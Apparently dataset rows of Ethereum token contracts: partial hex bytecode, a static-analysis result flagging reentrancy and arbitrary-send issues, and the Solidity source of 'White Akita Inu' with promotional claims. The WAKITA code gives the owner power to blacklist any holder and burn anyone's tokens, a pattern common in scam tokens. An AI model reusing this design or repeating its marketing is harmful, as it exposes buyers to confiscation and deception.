116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108675760405162461bcd60e51b81526004016105f290611a85565b601555565b6000546001600160a01b031633146108965760405162461bcd60e51b81526004016105f290611a85565b601454600160a01b900460ff16156108ad57600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108f55760405162461bcd60e51b81526004016105f290611a85565b601755565b6000546001600160a01b031633146109245760405162461bcd60e51b81526004016105f290611a85565b600893909355600a91909155600955600b55565b6000610674338484610c59565b6012546001600160a01b0316336001600160a01b03161461096557600080fd5b6000610970306107a7565b90506107a481611143565b6000546001600160a01b031633146109a55760405162461bcd60e51b81526004016105f290611a85565b60005b82811015610a165781600560008686858181106109c7576109c7611aba565b90506020020160208101906109dc9190611935565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a0e81611ae6565b9150506109a8565b50505050565b6000546001600160a01b03163314610a465760405162461bcd60e51b81526004016105f290611a85565b601655565b6000546001600160a01b03163314610a755760405162461bcd60e51b81526004016105f290611a85565b6001600160a01b038116610ada5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f2565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b975760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f2565b6001600160a01b038216610bf85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f2565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cbd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f2565b6001600160a01b038216610d1f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f2565b60008111610d815760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f2565b6000546001600160a01b03848116911614801590610dad57506000546001600160a01b03838116911614155b15610f4457601454600160a01b900460ff16610ddd576000546001600160a01b03848116911614610ddd57600080fd5b601554811115610dec57600080fd5b6001600160a01b03831660009081526010602052604090205460ff16158015610e2e57506001600160a01b03821660009081526010602052604090205460ff16155b610e3757600080fd5b6014546001600160a01b03838116911614610e6d5760165481610e59846107a7565b610e639190611b01565b10610e6d57600080fd5b6000610e78306107a7565b601754601554919250821015908210610e915760155491505b808015610ea85750601454600160a81b900460ff16155b8015610ec257506014546001600160a01b03868116911614155b8015610ed75750601454600160b01b900460ff165b8015610efc57506001600160a01b03851660009081526005602052604090205460ff16155b8015610f2157506001600160a01b03841660009081526005602052604090205460ff16155b15610f4157610f2f82611143565b478015610f3f57610f3f47611085565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610f8657506001600160a01b03831660009081526005602052604090205460ff165b80610fb857506014546001600160a01b03858116911614801590610fb857506014546001600160a01b03848116911614155b15610fc55750600061103f565b6014546001600160a01b038581169116148015610ff057506013546001600160a01b03848116911614155b1561100257600854600c55600954600d555b6014546001600160a01b03848116911614801561102d57506013546001600160a01b03858116911614155b1561103f57600a54600c55600b54600d555b610a16848484846112bd565b6000818484111561106f5760405162461bcd60e51b81526004016105f29190611873565b50600061107c8486611b19565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610663573d6000803e3d6000fd5b60006006548211156111265760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f2565b60006111306112eb565b905061113c838261130e565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061118b5761118b611aba565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111e4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112089190611b30565b8160018151811061121b5761121b611aba565b6001600160a01b0392831660209182029290920101526013546112419130911684610b35565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061127a908590600090869030904290600401611b4d565b600060405180830381600087803b15801561129457600080fd5b505af11580156112a8573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b806112ca576112ca611350565b6112d584848461137e565b80610a1657610a16600e54600c55600f54600d55565b60008060006112f8611475565b9092509050611307828261130e565b9250505090565b600061113c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114b5565b600c541580156113605750600d54155b1561136757565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611390876114e3565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113c29087611540565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113f19086611582565b6001600160a01b038916600090815260026020526040902055611413816115e1565b61141d848361162b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161146291815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a7640000611490828261130e565b8210156114ac57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836114d65760405162461bcd60e51b81526004016105f29190611873565b50600061107c8486611bbe565b60008060008060008060008060006115008a600c54600d5461164f565b92509250925060006115106112eb565b905060008060006115238e8787876116a4565b919e509c509a509598509396509194505050505091939550919395565b600061113c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061104b565b60008061158f8385611b01565b90508381101561113c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f2565b60006115eb6112eb565b905060006115f983836116f4565b306000908152600260205260409020549091506116169082611582565b30600090815260026020526040902055505050565b6006546116389083611540565b6006556007546116489082611582565b6007555050565b6000808080611669606461166389896116f4565b9061130e565b9050600061167c60646116638a896116f4565b905060006116948261168e8b86611540565b90611540565b9992985090965090945050505050565b60008080806116b388866116f4565b905060006116c188876116f4565b905060006116cf88886116f4565b905060006116e18261168e8686611540565b939b939a50919850919650505050505050565b60008261170357506000610678565b600061170f8385611be0565b90508261171c8583611bbe565b1461113c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f2565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107a457600080fd5b80356117a981611789565b919050565b600060208083850312156117c157600080fd5b823567ffffffffffffffff808211156117d957600080fd5b818501915085601f8301126117ed57600080fd5b8135818111156117ff576117ff611773565b8060051b604051601f19603f8301168101818110858211171561182457611824611773565b60405291825284820192508381018501918883111561184257600080fd5b938501935b82851015611867576118588561179e565b84529385019392850192611847565b98975050505050505050565b600060208083528351808285015260005b818110156118a057858101830151858201604001528201611884565b818111156118b2576000604083870101525b50601f01601f1916929092016040019392505050565b600080604083850312156118db57600080fd5b82356118e681611789565b946020939093013593505050565b60008060006060848603121561190957600080fd5b833561191481611789565b9250602084013561192481611789565b929592945050506040919091013590565b60006020828403121561194757600080fd5b813561113c81611789565b803580151581146117a957600080fd5b60006020828403121561197457600080fd5b61113c82611952565b60006020828403121561198f57600080fd5b5035919050565b600080600080608085870312156119ac57600080fd5b5050823594602084013594506040840135936060013592509050565b6000806000604084860312156119dd57600080fd5b833567ffffffffffffffff808211156119f557600080fd5b818601915086601f830112611a0957600080fd5b813581811115611a1857600080fd5b8760208260051b8501011115611a2d57600080fd5b602092830195509350611a439186019050611952565b90509250925092565b60008060408385031215611a5f57600080fd5b8235611a6a81611789565b91506020830135611a7a81611789565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611afa57611afa611ad0565b5060010190565b60008219821115611b1457611b14611ad0565b500190565b600082821015611b2b57611b2b611ad0565b500390565b600060208284031215611b4257600080fd5b815161113c81611789565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b9d5784516001600160a01b031683529383019391830191600101611b78565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611bdb57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611bfa57611bfa611ad0565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207e5e7c7b0c34c6ca061e942ee5e0c8d447948e33f9f12a5c042156e06b6b5d7f64736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,672 |
0x9dd7bfc9eeb597fd2ab24893bbf1370e50ed3094
|
/*
// White Akita Inu (WAKITA) - fork Akita Inu
//CMC and CG listing application in place.
//Marketing budget in place
//Liqudity Locked
//TG: https://t.me/akitatoken
//Website: https://www.akitatoken.net/
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract WAKITA is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
struct lockDetail{
uint256 amountToken;
uint256 lockUntil;
}
mapping (address => uint256) private _balances;
mapping (address => bool) private _blacklist;
mapping (address => bool) private _isAdmin;
mapping (address => lockDetail) private _lockInfo;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event PutToBlacklist(address indexed target, bool indexed status);
event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil);
constructor (string memory name, string memory symbol, uint256 amount) {
_name = name;
_symbol = symbol;
_setupDecimals(18);
address msgSender = _msgSender();
_owner = msgSender;
_isAdmin[msgSender] = true;
_mint(msgSender, amount);
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function isAdmin(address account) public view returns (bool) {
return _isAdmin[account];
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyAdmin() {
require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function promoteAdmin(address newAdmin) public virtual onlyOwner {
require(_isAdmin[newAdmin] == false, "Ownable: address is already admin");
require(newAdmin != address(0), "Ownable: new admin is the zero address");
_isAdmin[newAdmin] = true;
}
function demoteAdmin(address oldAdmin) public virtual onlyOwner {
require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin");
require(oldAdmin != address(0), "Ownable: old admin is the zero address");
_isAdmin[oldAdmin] = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function isBlackList(address account) public view returns (bool) {
return _blacklist[account];
}
function getLockInfo(address account) public view returns (uint256, uint256) {
lockDetail storage sys = _lockInfo[account];
if(block.timestamp > sys.lockUntil){
return (0,0);
}else{
return (
sys.amountToken,
sys.lockUntil
);
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address funder, address spender) public view virtual override returns (uint256) {
return _allowances[funder][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) {
_transfer(_msgSender(), recipient, amount);
_wantLock(recipient, amount, lockUntil);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){
_wantLock(targetaddress, amount, lockUntil);
return true;
}
function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){
_wantUnlock(targetaddress);
return true;
}
function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){
_burn(targetaddress, amount);
return true;
}
function blacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantblacklist(targetaddress);
return true;
}
function unblacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantunblacklist(targetaddress);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
lockDetail storage sys = _lockInfo[sender];
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_blacklist[sender] == false, "ERC20: sender address ");
_beforeTokenTransfer(sender, recipient, amount);
if(sys.amountToken > 0){
if(block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}else{
uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance");
_balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = _balances[sender].add(sys.amountToken);
_balances[recipient] = _balances[recipient].add(amount);
}
}else{
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances");
if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
}
sys.lockUntil = unlockDate;
sys.amountToken = sys.amountToken.add(amountLock);
emit LockUntil(account, sys.amountToken, unlockDate);
}
function _wantUnlock(address account) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
sys.lockUntil = 0;
sys.amountToken = 0;
emit LockUntil(account, 0, 0);
}
function _wantblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == false, "ERC20: Address already in blacklist");
_blacklist[account] = true;
emit PutToBlacklist(account, true);
}
function _wantunblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == true, "ERC20: Address not blacklisted");
_blacklist[account] = false;
emit PutToBlacklist(account, false);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address funder, address spender, uint256 amount) internal virtual {
require(funder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[funder][spender] = amount;
emit Approval(funder, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de57806395d89b4111610097578063b36d691911610071578063b36d691914610510578063dd62ed3e14610536578063df698fc914610564578063f2fde38b1461058a57610173565b806395d89b41146104b0578063a457c2d7146104b8578063a9059cbb146104e457610173565b806370a08231146103c7578063715018a6146103ed5780637238ccdb146103f5578063787f02331461043457806384d5d9441461045a5780638da5cb5b1461048c57610173565b8063313ce56711610130578063313ce567146102d157806339509351146102ef5780633d72d6831461031b57806352a97d5214610347578063569abd8d1461036d5780635e558d221461039557610173565b806306fdde0314610178578063095ea7b3146101f557806318160ddd1461023557806319f9a20f1461024f57806323b872dd1461027557806324d7806c146102ab575b600080fd5b6101806105b0565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ba5781810151838201526020016101a2565b50505050905090810190601f1680156101e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102216004803603604081101561020b57600080fd5b506001600160a01b038135169060200135610646565b604080519115158252519081900360200190f35b61023d610663565b60408051918252519081900360200190f35b6102216004803603602081101561026557600080fd5b50356001600160a01b0316610669565b6102216004803603606081101561028b57600080fd5b506001600160a01b038135811691602081013590911690604001356106e5565b610221600480360360208110156102c157600080fd5b50356001600160a01b031661076c565b6102d961078a565b6040805160ff9092168252519081900360200190f35b6102216004803603604081101561030557600080fd5b506001600160a01b038135169060200135610793565b6102216004803603604081101561033157600080fd5b506001600160a01b0381351690602001356107e1565b6102216004803603602081101561035d57600080fd5b50356001600160a01b031661084a565b6103936004803603602081101561038357600080fd5b50356001600160a01b03166108b2565b005b610221600480360360608110156103ab57600080fd5b506001600160a01b0381351690602081013590604001356109d0565b61023d600480360360208110156103dd57600080fd5b50356001600160a01b0316610a46565b610393610a61565b61041b6004803603602081101561040b57600080fd5b50356001600160a01b0316610b0e565b6040805192835260208301919091528051918290030190f35b6102216004803603602081101561044a57600080fd5b50356001600160a01b0316610b55565b6102216004803603606081101561047057600080fd5b506001600160a01b038135169060208101359060400135610bbd565b610494610c3a565b604080516001600160a01b039092168252519081900360200190f35b610180610c4e565b610221600480360360408110156104ce57600080fd5b506001600160a01b038135169060200135610caf565b610221600480360360408110156104fa57600080fd5b506001600160a01b038135169060200135610d17565b6102216004803603602081101561052657600080fd5b50356001600160a01b0316610d2b565b61023d6004803603604081101561054c57600080fd5b506001600160a01b0381358116916020013516610d49565b6103936004803603602081101561057a57600080fd5b50356001600160a01b0316610d74565b610393600480360360208110156105a057600080fd5b50356001600160a01b0316610ea9565b60068054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561063c5780601f106106115761010080835404028352916020019161063c565b820191906000526020600020905b81548152906001019060200180831161061f57829003601f168201915b5050505050905090565b600061065a610653611013565b8484611017565b50600192915050565b60055490565b600060026000610677611013565b6001600160a01b0316815260208101919091526040016000205460ff1615156001146106d45760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b6106dd82611103565b506001919050565b60006106f28484846111b2565b610762846106fe611013565b61075d85604051806060016040528060288152602001611bcc602891396001600160a01b038a1660009081526004602052604081209061073c611013565b6001600160a01b03168152602081019190915260400160002054919061151d565b611017565b5060019392505050565b6001600160a01b031660009081526002602052604090205460ff1690565b60085460ff1690565b600061065a6107a0611013565b8461075d85600460006107b1611013565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610fb2565b60006107eb611013565b60085461010090046001600160a01b03908116911614610840576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b61065a83836115b4565b6000610854611013565b60085461010090046001600160a01b039081169116146108a9576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6106dd826116b0565b6108ba611013565b60085461010090046001600160a01b0390811691161461090f576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff16156109675760405162461bcd60e51b8152600401808060200182810382526021815260200180611cc66021913960400191505060405180910390fd5b6001600160a01b0381166109ac5760405162461bcd60e51b8152600401808060200182810382526026815260200180611b4e6026913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19166001179055565b6000600260006109de611013565b6001600160a01b0316815260208101919091526040016000205460ff161515600114610a3b5760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b61076284848461179c565b6001600160a01b031660009081526020819052604090205490565b610a69611013565b60085461010090046001600160a01b03908116911614610abe576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b60085460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360088054610100600160a81b0319169055565b6001600160a01b03811660009081526003602052604081206001810154829190421115610b42576000809250925050610b50565b805460019091015490925090505b915091565b6000610b5f611013565b60085461010090046001600160a01b03908116911614610bb4576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6106dd826118e3565b600060026000610bcb611013565b6001600160a01b0316815260208101919091526040016000205460ff161515600114610c285760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b610a3b610c33611013565b85856111b2565b60085461010090046001600160a01b031690565b60078054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561063c5780601f106106115761010080835404028352916020019161063c565b600061065a610cbc611013565b8461075d85604051806060016040528060258152602001611ca16025913960046000610ce6611013565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919061151d565b600061065a610d24611013565b84846111b2565b6001600160a01b031660009081526001602052604090205460ff1690565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b610d7c611013565b60085461010090046001600160a01b03908116911614610dd1576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff161515600114610e43576040805162461bcd60e51b815260206004820152601d60248201527f4f776e61626c653a2061646472657373206973206e6f742061646d696e000000604482015290519081900360640190fd5b6001600160a01b038116610e885760405162461bcd60e51b8152600401808060200182810382526026815260200180611b286026913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19169055565b610eb1611013565b60085461010090046001600160a01b03908116911614610f06576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b038116610f4b5760405162461bcd60e51b8152600401808060200182810382526026815260200180611a986026913960400191505060405180910390fd5b6008546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600880546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60008282018381101561100c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b03831661105c5760405162461bcd60e51b8152600401808060200182810382526024815260200180611c5a6024913960400191505060405180910390fd5b6001600160a01b0382166110a15760405162461bcd60e51b8152600401808060200182810382526022815260200180611abe6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b03811660008181526003602052604090209061116d576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2043616e2774206c6f636b207a65726f20616464726573730000604482015290519081900360640190fd5b60006001820181905580825560405181906001600160a01b038516907fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf08685580908390a45050565b6001600160a01b0383166000818152600360205260409020906112065760405162461bcd60e51b8152600401808060200182810382526025815260200180611c356025913960400191505060405180910390fd5b6001600160a01b03831661124b5760405162461bcd60e51b8152600401808060200182810382526023815260200180611a306023913960400191505060405180910390fd5b6001600160a01b03841660009081526001602052604090205460ff16156112b2576040805162461bcd60e51b8152602060048201526016602482015275022a92199181d1039b2b73232b91030b2323932b9b9960551b604482015290519081900360640190fd5b6112bd8484846119e8565b80541561144657806001015442111561136657600060018201819055815560408051606081019091526026808252611319918491611b0260208301396001600160a01b038716600090815260208190526040902054919061151d565b6001600160a01b0380861660009081526020819052604080822093909355908516815220546113489083610fb2565b6001600160a01b038416600090815260208190526040902055611441565b60006113a98260000154604051806060016040528060228152602001611ae0602291396001600160a01b038816600090815260208190526040902054919061151d565b90506113d083604051806060016040528060268152602001611b026026913983919061151d565b6001600160a01b038616600090815260208190526040902081905582546113f79190610fb2565b6001600160a01b0380871660009081526020819052604080822093909355908616815220546114269084610fb2565b6001600160a01b038516600090815260208190526040902055505b6114cc565b61148382604051806060016040528060268152602001611b02602691396001600160a01b038716600090815260208190526040902054919061151d565b6001600160a01b0380861660009081526020819052604080822093909355908516815220546114b29083610fb2565b6001600160a01b0384166000908152602081905260409020555b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b600081848411156115ac5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611571578181015183820152602001611559565b50505050905090810190601f16801561159e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b0382166115f95760405162461bcd60e51b8152600401808060200182810382526021815260200180611c146021913960400191505060405180910390fd5b611605826000836119e8565b61164281604051806060016040528060228152602001611a76602291396001600160a01b038516600090815260208190526040902054919061151d565b6001600160a01b0383166000908152602081905260409020556005546116